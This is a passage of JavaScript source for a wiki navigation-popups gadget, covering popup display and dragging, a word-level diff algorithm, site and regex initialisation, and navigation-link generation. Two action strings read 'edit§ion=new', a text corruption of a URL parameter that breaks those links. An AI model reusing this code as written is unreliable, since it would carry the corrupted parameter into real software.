this.runHooks('create', 'after');
};
/**
* Calls the {@link #raise} method.
*
* @private
*/
Navpopup.prototype.onclickHandler = function (/*e*/) {
this.raise();
};
/**
* Makes the popup draggable, using a {@link Drag} object.
*
* @private
*/
Navpopup.prototype.makeDraggable = function (handleName) {
if (!this.mainDiv) {
this.createMainDiv();
}
const drag = new Drag();
if (!handleName) {
drag.startCondition = function (e) {
try {
if (!e.shiftKey) {
return false;
}
} catch (err) {
return false;
}
return true;
};
}
let dragHandle;
if (handleName) {
dragHandle = document.getElementById(handleName);
}
if (!dragHandle) {
dragHandle = this.mainDiv;
}
const np = this;
drag.endHook = function (x, y) {
Navpopup.tracker.dirty = true;
np.reposition(x, y);
};
drag.init(dragHandle, this.mainDiv);
};
/**
* Hides the popup using CSS. Runs hooks with key 'hide'.
* Sets {@link #visible} appropriately.
* {@link #banish} should be called externally instead of this method.
*
* @private
*/
Navpopup.prototype.hide = function () {
this.runHooks('hide', 'before');
this.abortDownloads();
if (typeof this.visible != 'undefined' && this.visible) {
this.mainDiv.style.display = 'none';
this.visible = false;
}
this.runHooks('hide', 'after');
};
/**
* Shows the popup using CSS. Runs hooks with key 'unhide'.
* Sets {@link #visible} appropriately. {@link #show} should be called externally instead of this method.
*
* @private
*/
Navpopup.prototype.unhide = function () {
this.runHooks('unhide', 'before');
if (typeof this.visible != 'undefined' && !this.visible) {
this.mainDiv.style.display = 'inline';
this.visible = true;
}
this.runHooks('unhide', 'after');
};
/**
* Sets the <code>innerHTML</code> attribute of the main div containing the popup content.
*
* @param {string} html The HTML to set.
*/
Navpopup.prototype.setInnerHTML = function (html) {
this.mainDiv.innerHTML = html;
};
/**
* Updates the {@link #width} and {@link #height} attributes with the CSS properties.
*
* @private
*/
Navpopup.prototype.updateDimensions = function () {
this.width = parseInt(this.mainDiv.offsetWidth, 10);
this.height = parseInt(this.mainDiv.offsetHeight, 10);
};
/**
* Checks if the point (x,y) is within {@link #fuzz} of the
* {@link #mainDiv}.
*
* @param {number} x x-coordinate (px)
* @param {number} y y-coordinate (px)
* @type {boolean}
*/
Navpopup.prototype.isWithin = function (x, y) {
//~ If we're not even visible, no point should be considered as
//~ being within the popup.
if (!this.visible) {
return false;
}
this.updateDimensions();
const fuzz = this.fuzz || 0;
//~ Use a simple box metric here.
return (
x + fuzz >= this.left &&
x - fuzz <= this.left + this.width &&
y + fuzz >= this.top &&
y - fuzz <= this.top + this.height
);
};
/**
* Adds a download to {@link #downloads}.
*
* @param {Downloader} download
*/
Navpopup.prototype.addDownload = function (download) {
if (!download) {
return;
}
this.downloads.push(download);
};
/**
* Aborts the downloads listed in {@link #downloads}.
*
* @see Downloader#abort
*/
Navpopup.prototype.abortDownloads = function () {
for (let i = 0; i < this.downloads.length; ++i) {
const d = this.downloads[i];
if (d && d.abort) {
d.abort();
}
}
this.downloads = [];
};
/**
* A {@link Mousetracker} instance which is a property of the constructor (pseudo-global).
*/
Navpopup.tracker = new Mousetracker();
// ENDFILE: navpopup.js
// STARTFILE: diff.js
/*
* Javascript Diff Algorithm
* By John Resig (http://ejohn.org/) and [[:en:User:Lupin]]
*
* More Info:
* http://ejohn.org/projects/javascript-diff-algorithm/
*/
function delFmt(x) {
if (!x.length) {
return '';
}
return "<del class='popupDiff'>" + x.join('') + '</del>';
}
function insFmt(x) {
if (!x.length) {
return '';
}
return "<ins class='popupDiff'>" + x.join('') + '</ins>';
}
function countCrossings(a, b, i, eject) {
// count the crossings on the edge starting at b[i]
if (!b[i].row && b[i].row !== 0) {
return -1;
}
let count = 0;
for (let j = 0; j < a.length; ++j) {
if (!a[j].row && a[j].row !== 0) {
continue;
}
if ((j - b[i].row) * (i - a[j].row) > 0) {
if (eject) {
return true;
}
count++;
}
}
return count;
}
function shortenDiffString(str, context) {
const re = /(<del[\s\S]*?<\/del>|<ins[\s\S]*?<\/ins>)/;
const splitted = str.parenSplit(re);
let ret = [''];
for (let i = 0; i < splitted.length; i += 2) {
if (splitted[i].length < 2 * context) {
ret[ret.length - 1] += splitted[i];
if (i + 1 < splitted.length) {
ret[ret.length - 1] += splitted[i + 1];
}
continue;
} else {
if (i > 0) {
ret[ret.length - 1] += splitted[i].substring(0, context);
}
if (i + 1 < splitted.length) {
ret.push(splitted[i].substring(splitted[i].length - context) + splitted[i + 1]);
}
}
}
while (ret.length > 0 && !ret[0]) {
ret = ret.slice(1);
}
return ret;
}
function diffString(o, n, simpleSplit) {
const splitRe = /([[]{2}|[\]]{2}|[{]{2,3}|[}]{2,3}|[|]|=|<|>|[*:]+|\s|\b)/;
// We need to split the strings o and n first, and entify() the parts
// individually, so that the HTML entities are never cut apart. (AxelBoldt)
let out, i, oSplitted, nSplitted;
if (simpleSplit) {
oSplitted = o.split(/\b/);
nSplitted = n.split(/\b/);
} else {
oSplitted = o.parenSplit(splitRe);
nSplitted = n.parenSplit(splitRe);
}
for (i = 0; i < oSplitted.length; ++i) {
oSplitted[i] = oSplitted[i].entify();
}
for (i = 0; i < nSplitted.length; ++i) {
nSplitted[i] = nSplitted[i].entify();
}
out = diff(oSplitted, nSplitted);
let str = '';
let acc = []; // accumulator for prettier output
// crossing pairings -- eg 'A B' vs 'B A' -- cause problems, so let's iron them out
// this doesn't always do things optimally but it should be fast enough
let maxOutputPair = 0;
for (i = 0; i < out.n.length; ++i) {
if (out.n[i].paired) {
if (maxOutputPair > out.n[i].row) {
// tangle - delete pairing
out.o[out.n[i].row] = out.o[out.n[i].row].text;
out.n[i] = out.n[i].text;
}
if (maxOutputPair < out.n[i].row) {
maxOutputPair = out.n[i].row;
}
}
}
// output the stuff preceding the first paired old line
for (i = 0; i < out.o.length && !out.o[i].paired; ++i) {
acc.push(out.o[i]);
}
str += delFmt(acc);
acc = [];
// main loop
for (i = 0; i < out.n.length; ++i) {
// output unpaired new "lines"
while (i < out.n.length && !out.n[i].paired) {
acc.push(out.n[i++]);
}
str += insFmt(acc);
acc = [];
if (i < out.n.length) {
// this new "line" is paired with the (out.n[i].row)th old "line"
str += out.n[i].text;
// output unpaired old rows starting after this new line's partner
let m = out.n[i].row + 1;
while (m < out.o.length && !out.o[m].paired) {
acc.push(out.o[m++]);
}
str += delFmt(acc);
acc = [];
}
}
return str;
}
// see http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Global_Objects:Object
// FIXME: use obj.hasOwnProperty instead of this kludge!
const jsReservedProperties = RegExp(
'^(constructor|prototype|__((define|lookup)[GS]etter)__' +
'|eval|hasOwnProperty|propertyIsEnumerable' +
'|to(Source|String|LocaleString)|(un)?watch|valueOf)$'
);
function diffBugAlert(word) {
if (!diffBugAlert.list[word]) {
diffBugAlert.list[word] = 1;
alert('Bad word: ' + word + '\n\nPlease report this bug.');
}
}
diffBugAlert.list = {};
function makeDiffHashtable(src) {
const ret = {};
for (let i = 0; i < src.length; i++) {
if (jsReservedProperties.test(src[i])) {
src[i] += '<!-- -->';
}
if (!ret[src[i]]) {
ret[src[i]] = [];
}
try {
ret[src[i]].push(i);
} catch (err) {
diffBugAlert(src[i]);
}
}
return ret;
}
function diff(o, n) {
// pass 1: make hashtable ns with new rows as keys
const ns = makeDiffHashtable(n);
// pass 2: make hashtable os with old rows as keys
const os = makeDiffHashtable(o);
// pass 3: pair unique new rows and matching unique old rows
let i;
for (i in ns) {
if (ns[i].length == 1 && os[i] && os[i].length == 1) {
n[ns[i][0]] = { text: n[ns[i][0]], row: os[i][0], paired: true };
o[os[i][0]] = { text: o[os[i][0]], row: ns[i][0], paired: true };
}
}
// pass 4: pair matching rows immediately following paired rows (not necessarily unique)
for (i = 0; i < n.length - 1; i++) {
if (
n[i].paired &&
!n[i + 1].paired &&
n[i].row + 1 < o.length &&
!o[n[i].row + 1].paired &&
n[i + 1] == o[n[i].row + 1]
) {
n[i + 1] = { text: n[i + 1], row: n[i].row + 1, paired: true };
o[n[i].row + 1] = { text: o[n[i].row + 1], row: i + 1, paired: true };
}
}
// pass 5: pair matching rows immediately preceding paired rows (not necessarily unique)
for (i = n.length - 1; i > 0; i--) {
if (
n[i].paired &&
!n[i - 1].paired &&
n[i].row > 0 &&
!o[n[i].row - 1].paired &&
n[i - 1] == o[n[i].row - 1]
) {
n[i - 1] = { text: n[i - 1], row: n[i].row - 1, paired: true };
o[n[i].row - 1] = { text: o[n[i].row - 1], row: i - 1, paired: true };
}
}
return { o: o, n: n };
}
// ENDFILE: diff.js
// STARTFILE: init.js
function setSiteInfo() {
if (window.popupLocalDebug) {
pg.wiki.hostname = 'en.wikipedia.org';
} else {
pg.wiki.hostname = location.hostname; // use in preference to location.hostname for flexibility (?)
}
pg.wiki.wikimedia = /(wiki([pm]edia|source|books|news|quote|versity|species|voyage|data)|metawiki|wiktionary|mediawiki)[.]org/.test(pg.wiki.hostname);
pg.wiki.wikia = /[.]wikia[.]com$/i.test(pg.wiki.hostname);
pg.wiki.isLocal = /^localhost/.test(pg.wiki.hostname);
pg.wiki.commons =
pg.wiki.wikimedia && pg.wiki.hostname != 'commons.wikimedia.org' ?
'commons.wikimedia.org' :
null;
pg.wiki.lang = mw.config.get('wgContentLanguage');
const port = location.port ? ':' + location.port : '';
pg.wiki.sitebase = pg.wiki.hostname + port;
}
function setUserInfo() {
const params = {
action: 'query',
list: 'users',
ususers: mw.config.get('wgUserName'),
usprop: 'rights',
};
pg.user.canReview = false;
if (getValueOf('popupReview')) {
getMwApi()
.get(params)
.done((data) => {
const rights = data.query.users[0].rights;
pg.user.canReview = rights.indexOf('review') !== -1; // TODO: Should it be a getValueOf('ReviewRight') ?
});
}
}
function fetchSpecialPageNames() {
const params = {
action: 'query',
meta: 'siteinfo',
siprop: 'specialpagealiases',
formatversion: 2,
// cache for an hour
uselang: 'content',
maxage: 3600,
};
return getMwApi()
.get(params)
.then((data) => {
pg.wiki.specialpagealiases = data.query.specialpagealiases;
});
}
function setTitleBase() {
const protocol = window.popupLocalDebug ? 'http:' : location.protocol;
pg.wiki.articlePath = mw.config.get('wgArticlePath').replace(/\/\$1/, ''); // as in http://some.thing.com/wiki/Article
pg.wiki.botInterfacePath = mw.config.get('wgScript');
pg.wiki.APIPath = mw.config.get('wgScriptPath') + '/api.php';
// default mediawiki setting is paths like http://some.thing.com/articlePath/index.php?title=foo
const titletail = pg.wiki.botInterfacePath + '?title=';
//var titletail2 = joinPath([pg.wiki.botInterfacePath, 'wiki.phtml?title=']);
// other sites may need to add code here to set titletail depending on how their urls work
pg.wiki.titlebase = protocol + '//' + pg.wiki.sitebase + titletail;
//pg.wiki.titlebase2 = protocol + '//' + joinPath([pg.wiki.sitebase, titletail2]);
pg.wiki.wikibase = protocol + '//' + pg.wiki.sitebase + pg.wiki.botInterfacePath;
pg.wiki.apiwikibase = protocol + '//' + pg.wiki.sitebase + pg.wiki.APIPath;
pg.wiki.articlebase = protocol + '//' + pg.wiki.sitebase + pg.wiki.articlePath;
pg.wiki.commonsbase = protocol + '//' + pg.wiki.commons + pg.wiki.botInterfacePath;
pg.wiki.apicommonsbase = protocol + '//' + pg.wiki.commons + pg.wiki.APIPath;
pg.re.basenames = RegExp(
'^(' +
map(literalizeRegex, [
pg.wiki.titlebase, //pg.wiki.titlebase2,
pg.wiki.articlebase,
]).join('|') +
')'
);
}
//////////////////////////////////////////////////
// Global regexps
function setMainRegex() {
const reStart = '[^:]*://';
let preTitles =
// Take customizable wgScript into account (it isn't guaranteed to be index.php)
'(?:' + literalizeRegex(mw.config.get('wgScript')) + '|' +
// handle index.php (likely to work even if different from wgScript) and legacy wiki.phtml
literalizeRegex(mw.config.get('wgScriptPath')) + '/(?:index[.]php|wiki[.]phtml))';
preTitles += '[?]title=|' + literalizeRegex(pg.wiki.articlePath + '/');
const reEnd = '(' + preTitles + ')([^&?#]*)[^#]*(?:#(.+))?';
pg.re.main = RegExp(reStart + literalizeRegex(pg.wiki.sitebase) + reEnd);
}
function buildSpecialPageGroup(specialPageObj) {
const variants = [];
variants.push(mw.util.escapeRegExp(specialPageObj.realname));
variants.push(mw.util.escapeRegExp(encodeURI(specialPageObj.realname)));
specialPageObj.aliases.forEach((alias) => {
variants.push(mw.util.escapeRegExp(alias));
variants.push(mw.util.escapeRegExp(encodeURI(alias)));
});
return variants.join('|');
}
function setRegexps() {
setMainRegex();
const sp = nsRe(pg.nsSpecialId);
pg.re.urlNoPopup = RegExp('((title=|/)' + sp + '(?:%3A|:)|section=[0-9]|^#$)');
pg.wiki.specialpagealiases.forEach((specialpage) => {
if (specialpage.realname === 'Contributions') {
pg.re.contribs = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/|/' +
nsRe(pg.nsUserId) +
':)(.*)',
'i'
);
} else if (specialpage.realname === 'Diff') {
pg.re.specialdiff = RegExp(
'/' + sp + '(?:%3A|:)(?:' + buildSpecialPageGroup(specialpage) + ')/([^?#]*)',
'i'
);
} else if (specialpage.realname === 'Emailuser') {
pg.re.email = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/|/(?:' +
nsRe(pg.nsUserId) +
':)?)(.*)',
'i'
);
} else if (specialpage.realname === 'Whatlinkshere') {
pg.re.backlinks = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/)([^&]*)',
'i'
);
}
});
const im = nsReImage();
// note: tries to get images in infobox templates too, e.g. movie pages, album pages etc
// (^|\[\[)image: *([^|\]]*[^|\] ]) *
// (^|\[\[)image: *([^|\]]*[^|\] ])([^0-9\]]*([0-9]+) *px)?
// $4 = 120 as in 120px
pg.re.image = RegExp(
'(^|\\[\\[)' +
im +
': *([^|\\]]*[^|\\] ])' +
'([^0-9\\]]*([0-9]+) *px)?|(?:\\n *[|]?|[|]) *' +
'(' +
getValueOf('popupImageVarsRegexp') +
')' +
' *= *(?:\\[\\[ *)?(?:' +
im +
':)?' +
'([^|]*?)(?:\\]\\])? *[|]? *\\n',
'img'
);
pg.re.imageBracketCount = 6;
pg.re.category = RegExp('\\[\\[' + nsRe(pg.nsCategoryId) + ': *([^|\\]]*[^|\\] ]) *', 'i');
pg.re.categoryBracketCount = 1;
pg.re.ipUser = RegExp(
'^' +
// IPv6
'(?::(?::|(?::[0-9A-Fa-f]{1,4}){1,7})|[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4}){0,6}::|[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4}){7})' +
// IPv4
'|(((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}' +
'(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9]))$'
);
pg.re.stub = RegExp(getValueOf('popupStubRegexp'), 'im');
pg.re.disambig = RegExp(getValueOf('popupDabRegexp'), 'im');
// FIXME replace with general parameter parsing function, this is daft
pg.re.oldid = /[?&]oldid=([^&]*)/;
pg.re.diff = /[?&]diff=([^&]*)/;
}
//////////////////////////////////////////////////
// miscellany
function setupCache() {
// page caching
pg.cache.pages = [];
}
function setMisc() {
pg.current.link = null;
pg.current.links = [];
pg.current.linksHash = {};
setupCache();
pg.timer.checkPopupPosition = null;
pg.counter.loop = 0;
// ids change with each popup: popupImage0, popupImage1 etc
pg.idNumber = 0;
// for myDecodeURI
pg.misc.decodeExtras = [
{ from: '%2C', to: ',' },
{ from: '_', to: ' ' },
{ from: '%24', to: '$' },
{ from: '%26', to: '&' }, // no ,
];
}
function getMwApi() {
if (!pg.api.client) {
pg.api.userAgent = 'Navigation popups/1.0 (' + mw.config.get('wgServerName') + ')';
pg.api.client = new mw.Api({
ajax: {
headers: {
'Api-User-Agent': pg.api.userAgent,
},
},
});
}
return pg.api.client;
}
// We need a callback since this might end up asynchronous because of
// the mw.loader.using() call.
function setupPopups(callback) {
if (setupPopups.completed) {
if (typeof callback === 'function') {
callback();
}
return;
}
// These dependencies should alse be enforced from the gadget,
// but not everyone loads this as a gadget, so double check
mw.loader
.using([
'mediawiki.util',
'mediawiki.api',
'mediawiki.user',
'user.options',
'mediawiki.jqueryMsg',
])
.then(fetchSpecialPageNames)
.then(() => {
// NB translatable strings should be set up first (strings.js)
// basics
setupDebugging();
setSiteInfo();
setTitleBase();
setOptions(); // see options.js
setUserInfo();
// namespaces etc
setNamespaces();
setInterwiki();
// regexps
setRegexps();
setRedirs();
// other stuff
setMisc();
setupLivePreview();
// main deal here
setupTooltips();
log('In setupPopups(), just called setupTooltips()');
Navpopup.tracker.enable();
setupPopups.completed = true;
if (typeof callback === 'function') {
callback();
}
});
}
// ENDFILE: init.js
// STARTFILE: navlinks.js
//////////////////////////////////////////////////
// navlinks... let the fun begin
//
function defaultNavlinkSpec() {
let str = '';
str += '<b><<mainlink|shortcut= >></b>';
if (getValueOf('popupLastEditLink')) {
str +=
'*<<lastEdit|shortcut=/>>|<<lastContrib>>|<<sinceMe>>if(oldid){|<<oldEdit>>|<<diffCur>>}';
}
// user links
// contribs - log - count - email - block
// count only if applicable; block only if popupAdminLinks
str += 'if(user){<br><<contribs|shortcut=c>>*<<userlog|shortcut=L|log>>';
str += 'if(ipuser){*<<arin>>}if(wikimedia){*<<count|shortcut=#>>}';
str +=
'if(ipuser){}else{*<<email|shortcut=E>>}if(admin){*<<block|shortcut=b>>|<<blocklog|log>>}}';
// editing links
// talkpage -> edit|new - history - un|watch - article|edit
// other page -> edit - history - un|watch - talk|edit|new
const editstr = '<<edit|shortcut=e>>';
const editOldidStr =
'if(oldid){<<editOld|shortcut=e>>|<<revert|shortcut=v|rv>>|<<edit|cur>>}else{' +
editstr +
'}';
const historystr = '<<history|shortcut=h>>|<<editors|shortcut=E|>>';
const watchstr = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
str +=
'<br>if(talk){' +
editOldidStr +
'|<<new|shortcut=+>>' +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<article|shortcut=a>></b>|<<editArticle|edit>>' +
'}else{' + // not a talk page
editOldidStr +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<talk|shortcut=t>></b>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>}';
// misc links
str += '<br><<whatLinksHere|shortcut=l>>*<<relatedChanges|shortcut=r>>*<<move|shortcut=m>>';
// admin links
str +=
'if(admin){<br><<unprotect|unprotectShort>>|<<protect|shortcut=p>>|<<protectlog|log>>*' +
'<<undelete|undeleteShort>>|<<delete|shortcut=d>>|<<deletelog|log>>}';
return str;
}
function navLinksHTML(article, hint, params) {
//oldid, rcid) {
const str = '<span class="popupNavLinks">' + defaultNavlinkSpec() + '</span>';
// BAM
return navlinkStringToHTML(str, article, params);
}
function expandConditionalNavlinkString(s, article, z, recursionCount) {
const oldid = z.oldid,
rcid = z.rcid,
diff = z.diff;
// nested conditionals (up to 10 deep) are ok, hopefully! (work from the inside out)
if (typeof recursionCount != typeof 0) {
recursionCount = 0;
}
const conditionalSplitRegex = RegExp(
//(1 if \\( (2 2) \\) {(3 3)} (4 else {(5 5)} 4)1)
'(;?\\s*if\\s*\\(\\s*([\\w]*)\\s*\\)\\s*\\{([^{}]*)\\}(\\s*else\\s*\\{([^{}]*?)\\}|))',
'i'
);
const splitted = s.parenSplit(conditionalSplitRegex);
// $1: whole conditional
// $2: test condition
// $3: true expansion
// $4: else clause (possibly empty)
// $5: false expansion (possibly null)
const numParens = 5;
let ret = splitted[0];
for (let i = 1; i < splitted.length; i = i + numParens + 1) {
const testString = splitted[i + 2 - 1];
const trueString = splitted[i + 3 - 1];
let falseString = splitted[i + 5 - 1];
if (typeof falseString == 'undefined' || !falseString) {
falseString = '';
}
let testResult = null;
switch (testString) {
case 'user':
testResult = !!article.userName();
break;
case 'talk':
testResult = !article.talkPage(); // talkPage converts _articles_ to talkPages
break;
case 'admin':
testResult = !!getValueOf('popupAdminLinks');
break;
case 'oldid':
testResult = !!(typeof oldid != 'undefined' && oldid);
break;
case 'rcid':
testResult = !!(typeof rcid != 'undefined' && rcid);
break;
case 'ipuser':
testResult = !!article.isIpUser();
break;
case 'mainspace_en':
testResult = isInMainNamespace(article) && pg.wiki.hostname == 'en.wikipedia.org';
break;
case 'wikimedia':
testResult = !!pg.wiki.wikimedia;
break;
case 'diff':
testResult = !!(typeof diff != 'undefined' && diff);
break;
}
switch (testResult) {
case null:
ret += splitted[i];
break;
case true:
ret += trueString;
break;
case false:
ret += falseString;
break;
}
// append non-conditional string
ret += splitted[i + numParens];
}
if (conditionalSplitRegex.test(ret) && recursionCount < 10) {
return expandConditionalNavlinkString(ret, article, z, recursionCount + 1);
}
return ret;
}
function navlinkStringToArray(s, article, params) {
s = expandConditionalNavlinkString(s, article, params);
const splitted = s.parenSplit(/<<(.*?)>>/);
const ret = [];
for (let i = 0; i < splitted.length; ++i) {
if (i % 2) {
// i odd, so s is a tag
const t = new navlinkTag();
const ss = splitted[i].split('|');
t.id = ss[0];
for (let j = 1; j < ss.length; ++j) {
const sss = ss[j].split('=');
if (sss.length > 1) {
t[sss[0]] = sss[1];
} else {
// no assignment (no "="), so treat this as a title (overwriting the last one)
t.text = popupString(sss[0]);
}
}
t.article = article;
const oldid = params.oldid,
rcid = params.rcid,
diff = params.diff;
if (typeof oldid !== 'undefined' && oldid !== null) {
t.oldid = oldid;
}
if (typeof rcid !== 'undefined' && rcid !== null) {
t.rcid = rcid;
}
if (typeof diff !== 'undefined' && diff !== null) {
t.diff = diff;
}
if (!t.text && t.id !== 'mainlink') {
t.text = popupString(t.id);
}
ret.push(t);
} else {
// plain HTML
ret.push(splitted[i]);
}
}
return ret;
}
function navlinkSubstituteHTML(s) {
return s
.split('*')
.join(getValueOf('popupNavLinkSeparator'))
.split('<menurow>')
.join('<li class="popup_menu_row">')
.split('</menurow>')
.join('</li>')
.split('<menu>')
.join('<ul class="popup_menu">')
.split('</menu>')
.join('</ul>');
}
function navlinkDepth(magic, s) {
return s.split('<' + magic + '>').length - s.split('</' + magic + '>').length;
}
// navlinkString: * becomes the separator
// <<foo|bar=baz|fubar>> becomes a foo-link with attribute bar='baz'
// and visible text 'fubar'
// if(test){...} and if(test){...}else{...} work too (nested ok)
function navlinkStringToHTML(s, article, params) {
//limitAlert(navlinkStringToHTML, 5, 'navlinkStringToHTML\n' + article + '\n' + (typeof article));
const p = navlinkStringToArray(s, article, params);
let html = '';
let menudepth = 0; // nested menus not currently allowed, but doesn't do any harm to code for it
let menurowdepth = 0;
for (let i = 0; i < p.length; ++i) {
if (typeof p[i] == typeof '') {
html += navlinkSubstituteHTML(p[i]);
menudepth += navlinkDepth('menu', p[i]);
menurowdepth += navlinkDepth('menurow', p[i]);
// if (menudepth === 0) {
// tagType='span';
// } else if (menurowdepth === 0) {
// tagType='li';
// } else {
// tagType = null;
// }
} else if (typeof p[i].type != 'undefined' && p[i].type == 'navlinkTag') {
if (menudepth > 0 && menurowdepth === 0) {
html += '<li class="popup_menu_item">' + p[i].html() + '</li>';
} else {
html += p[i].html();
}
}
}
return html;
}
function navlinkTag() {
this.type = 'navlinkTag';
}
navlinkTag.prototype.html = function () {
this.getNewWin();
this.getPrintFunction();
let html = '';
let opening, closing;
const tagType = 'span';
if (!tagType) {
opening = '';
closing = '';
} else {
opening = '<' + tagType + ' class="popup_' + this.id + '">';
closing = '</' + tagType + '>';
}
if (typeof this.print != 'function') {
errlog('Oh dear - invalid print function for a navlinkTag, id=' + this.id);
} else {
html = this.print(this);
if (typeof html != typeof '') {
html = '';
} else if (typeof this.shortcut != 'undefined') {
html = addPopupShortcut(html, this.shortcut);
}
}
return opening + html + closing;
};
navlinkTag.prototype.getNewWin = function () {
getValueOf('popupLinksNewWindow');
if (typeof pg.option.popupLinksNewWindow[this.id] === 'undefined') {
this.newWin = null;
}
this.newWin = pg.option.popupLinksNewWindow[this.id];
};
navlinkTag.prototype.getPrintFunction = function () {
//think about this some more
// this.id and this.article should already be defined
if (typeof this.id != typeof '' || typeof this.article != typeof {}) {
return;
}
this.noPopup = 1;
switch (this.id) {
case 'contribs':
case 'history':
case 'whatLinksHere':
case 'userPage':
case 'monobook':
case 'userTalk':
case 'talk':
case 'article':
case 'lastEdit':
this.noPopup = null;
}
switch (this.id) {
case 'email':
case 'contribs':
case 'block':
case 'unblock':
case 'userlog':
case 'userSpace':
case 'deletedContribs':
this.article = this.article.userName();
}
switch (this.id) {
case 'userTalk':
case 'newUserTalk':
case 'editUserTalk':
case 'userPage':
case 'monobook':
case 'editMonobook':
case 'blocklog':
this.article = this.article.userName(true);
/* fall through */
case 'pagelog':
case 'deletelog':
case 'protectlog':
delete this.oldid;
}
if (this.id == 'editMonobook' || this.id == 'monobook') {
this.article.append('/monobook.js');
}
if (this.id != 'mainlink') {
// FIXME anchor handling should be done differently with Title object
this.article = this.article.removeAnchor();
// if (typeof this.text=='undefined') this.text=popupString(this.id);
}
switch (this.id) {
case 'undelete':
this.print = specialLink;
this.specialpage = 'Undelete';
this.sep = '/';
break;
case 'whatLinksHere':
this.print = specialLink;
this.specialpage = 'Whatlinkshere';
break;
case 'relatedChanges':
this.print = specialLink;
this.specialpage = 'Recentchangeslinked';
break;
case 'move':
this.print = specialLink;
this.specialpage = 'Movepage';
break;
case 'contribs':
this.print = specialLink;
this.specialpage = 'Contributions';
break;
case 'deletedContribs':
this.print = specialLink;
this.specialpage = 'Deletedcontributions';
break;
case 'email':
this.print = specialLink;
this.specialpage = 'EmailUser';
this.sep = '/';
break;
case 'block':
this.print = specialLink;
this.specialpage = 'Blockip';
this.sep = '&ip=';
break;
case 'unblock':
this.print = specialLink;
this.specialpage = 'Ipblocklist';
this.sep = '&action=unblock&ip=';
break;
case 'userlog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&user=';
break;
case 'blocklog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=block&page=';
break;
case 'pagelog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&page=';
break;
case 'protectlog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=protect&page=';
break;
case 'deletelog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=delete&page=';
break;
case 'userSpace':
this.print = specialLink;
this.specialpage = 'PrefixIndex';
this.sep = '&namespace=2&prefix=';
break;
case 'search':
this.print = specialLink;
this.specialpage = 'Search';
this.sep = '&fulltext=Search&search=';
break;
case 'thank':
this.print = specialLink;
this.specialpage = 'Thanks';
this.sep = '/';
this.article.value = this.diff !== 'prev' ? this.diff : this.oldid;
break;
case 'unwatch':
case 'watch':
this.print = magicWatchLink;
this.action =
this.id +
'&autowatchlist=1&autoimpl=' +
popupString('autoedit_version') +
'&actoken=' +
autoClickToken();
break;
case 'history':
case 'historyfeed':
case 'unprotect':
case 'protect':
this.print = wikiLink;
this.action = this.id;
break;
case 'delete':
this.print = wikiLink;
this.action = 'delete';
if (this.article.namespaceId() == pg.nsImageId) {
const img = this.article.stripNamespace();
this.action += '&image=' + img;
}
break;
case 'markpatrolled':
case 'edit': // editOld should keep the oldid, but edit should not.
delete this.oldid;
/* fall through */
case 'view':
case 'purge':
case 'render':
this.print = wikiLink;
this.action = this.id;
break;
case 'raw':
this.print = wikiLink;
this.action = 'raw';
break;
case 'new':
this.print = wikiLink;
this.action = 'edit§ion=new';
break;
case 'mainlink':
if (typeof this.text == 'undefined') {
this.text = this.article.toString().entify();
}
if (getValueOf('popupSimplifyMainLink') && isInStrippableNamespace(this.article)) {
// only show the /subpage part of the title text
const s = this.text.split('/');
this.text = s[s.length - 1];
if (this.text === '' && s.length > 1) {
this.text = s[s.length - 2];
}
}
this.print = titledWikiLink;
if (
typeof this.title === 'undefined' &&
pg.current.link &&
typeof pg.current.link.href !== 'undefined'
) {
this.title = safeDecodeURI(
pg.current.link.originalTitle ? pg.current.link.originalTitle : this.article
);
if (typeof this.oldid !== 'undefined' && this.oldid) {
this.title = tprintf('Revision %s of %s', [this.oldid, this.title]);
}
}
this.action = 'view';
break;
case 'userPage':
case 'article':
case 'monobook':
case 'editMonobook':
case 'editArticle':
delete this.oldid;
//alert(this.id+'\n'+this.article + '\n'+ typeof this.article);
this.article = this.article.articleFromTalkOrArticle();
//alert(this.id+'\n'+this.article + '\n'+ typeof this.article);
this.print = wikiLink;
if (this.id.indexOf('edit') === 0) {
this.action = 'edit';
} else {
this.action = 'view';
}
break;
case 'userTalk':
case 'talk':
this.article = this.article.talkPage();
delete this.oldid;
this.print = wikiLink;
this.action = 'view';
break;
case 'arin':
this.print = arinLink;
break;
case 'count':
this.print = editCounterLink;
break;
case 'google':
this.print = googleLink;
break;
case 'editors':
this.print = editorListLink;
break;
case 'globalsearch':
this.print = globalSearchLink;
break;
case 'lastEdit':
this.print = titledDiffLink;
this.title = popupString('Show the last edit');
this.from = 'prev';
this.to = 'cur';
break;
case 'oldEdit':
this.print = titledDiffLink;
this.title = popupString('Show the edit made to get revision') + ' ' + this.oldid;
this.from = 'prev';
this.to = this.oldid;
break;
case 'editOld':
this.print = wikiLink;
this.action = 'edit';
break;
case 'undo':
this.print = wikiLink;
this.action = 'edit&undo=';
break;
case 'revert':
this.print = wikiLink;
this.action = 'revert';
break;
case 'nullEdit':
this.print = wikiLink;
this.action = 'nullEdit';
break;
case 'diffCur':
this.print = titledDiffLink;
this.title = tprintf('Show changes since revision %s', [this.oldid]);
this.from = this.oldid;
this.to = 'cur';
break;
case 'editUserTalk':
case 'editTalk':
delete this.oldid;
this.article = this.article.talkPage();
this.action = 'edit';
this.print = wikiLink;
break;
case 'newUserTalk':
case 'newTalk':
this.article = this.article.talkPage();
this.action = 'edit§ion=new';
this.print = wikiLink;
break;
case 'lastContrib':
case 'sinceMe':
